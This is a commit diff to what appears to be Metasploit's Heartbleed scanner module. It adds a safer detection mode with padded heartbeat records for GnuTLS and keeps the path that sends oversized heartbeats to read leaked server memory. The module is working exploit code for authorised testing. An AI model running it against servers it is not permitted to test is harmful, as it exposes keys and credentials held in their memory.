Add detection for GnuTLS with with multiple records

bug/bundler_fix
David Chan 2014-04-14 17:09:25 -07:00
parent 6fafc10184
commit 1a73206034
1 changed files with 71 additions and 56 deletions

View File

@ -143,6 +143,10 @@ class Metasploit3 < Msf::Auxiliary
super
end
def max_record_length
1 << 14
end
def heartbeat_length
datastore["HEARTBEAT_LENGTH"]
end
@ -227,8 +231,7 @@ class Metasploit3 < Msf::Auxiliary
end
def check_host(ip)
# TODO: this number can be lower
heartbeat_data = test_host(ip, 5000)
heartbeat_data = test_host(ip, true)
if heartbeat_data
return Exploit::CheckCode::Appears
@ -237,65 +240,77 @@ class Metasploit3 < Msf::Auxiliary
Exploit::CheckCode::Safe
end
def test_host(ip, length = heartbeat_length)
connect
def test_host(ip, safe = false)
heartbeat_data = nil
begin
connect
unless datastore['STARTTLS'] == 'None'
vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}")
res = self.send(TLS_CALLBACKS[datastore['STARTTLS']])
if res.nil?
vprint_error("#{peer} - STARTTLS failed...")
unless datastore['STARTTLS'] == 'None'
vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}")
res = self.send(TLS_CALLBACKS[datastore['STARTTLS']])
if res.nil?
vprint_error("#{peer} - STARTTLS failed...")
return
end
end
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
vprint_error("#{peer} - Server Hello Not Found")
return
end
end
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
vprint_error("#{peer} - Server Hello Not Found")
return
end
vprint_status("#{peer} - Sending Heartbeat...")
sock.put(heartbeat(length))
hdr = sock.get_once(5)
if hdr.blank?
vprint_error("#{peer} - No Heartbeat response...")
return
end
unpacked = hdr.unpack('Cnn')
type = unpacked[0]
version = unpacked[1] # must match the type from client_hello
len = unpacked[2]
# try to get the TLS error
if type == ALERT_RECORD_TYPE
res = sock.get_once(len)
alert_unp = res.unpack('CC')
alert_level = alert_unp[0]
alert_desc = alert_unp[1]
msg = "Unknown error"
# http://tools.ietf.org/html/rfc5246#section-7.2
case alert_desc
when 0x46
msg = "Protocol error. Looks like the chosen protocol is not supported."
vprint_status("#{peer} - Sending Heartbeat...")
if safe
sock.put(heartbeat(max_record_length - 3, safe) << heartbeat(0, safe))
else
sock.put(heartbeat(heartbeat_length))
end
hdr = sock.get_once(5)
if hdr.blank?
vprint_error("#{peer} - No Heartbeat response...")
return
end
vprint_error("#{peer} - #{msg}")
disconnect
return
end
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']]
vprint_error("#{peer} - Unexpected Heartbeat response")
disconnect
return
end
unpacked = hdr.unpack('Cnn')
type = unpacked[0]
version = unpacked[1] # must match the type from client_hello
len = unpacked[2]
vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
sock.get_once(length) # Read the magic length...
# try to get the TLS error
if type == ALERT_RECORD_TYPE
res = sock.get_once(len)
alert_unp = res.unpack('CC')
alert_level = alert_unp[0]
alert_desc = alert_unp[1]
msg = "Unknown error"
# http://tools.ietf.org/html/rfc5246#section-7.2
case alert_desc
when 0x46
msg = "Protocol error. Looks like the chosen protocol is not supported."
end
vprint_error("#{peer} - #{msg}")
return
end
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']]
vprint_error("#{peer} - Unexpected Heartbeat response")
return
end
vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
length = safe ? max_record_length : heartbeat_length
heartbeat_data = sock.get_once(length) # Read the magic length...
rescue EOFError
vprint_error("#{peer} - EOFError")
ensure
disconnect
end
heartbeat_data
end
def run_host(ip)
@ -333,12 +348,12 @@ class Metasploit3 < Msf::Auxiliary
end
end
def heartbeat(length)
def heartbeat(length, safe = false)
payload = "\x01" # Heartbeat Message Type: Request (1)
payload << [length].pack("n") # Payload Length: 65535
# handle safe detection
if length != heartbeat_length
if safe
payload << Array.new(length, 1).pack("C*") # Dummy values
end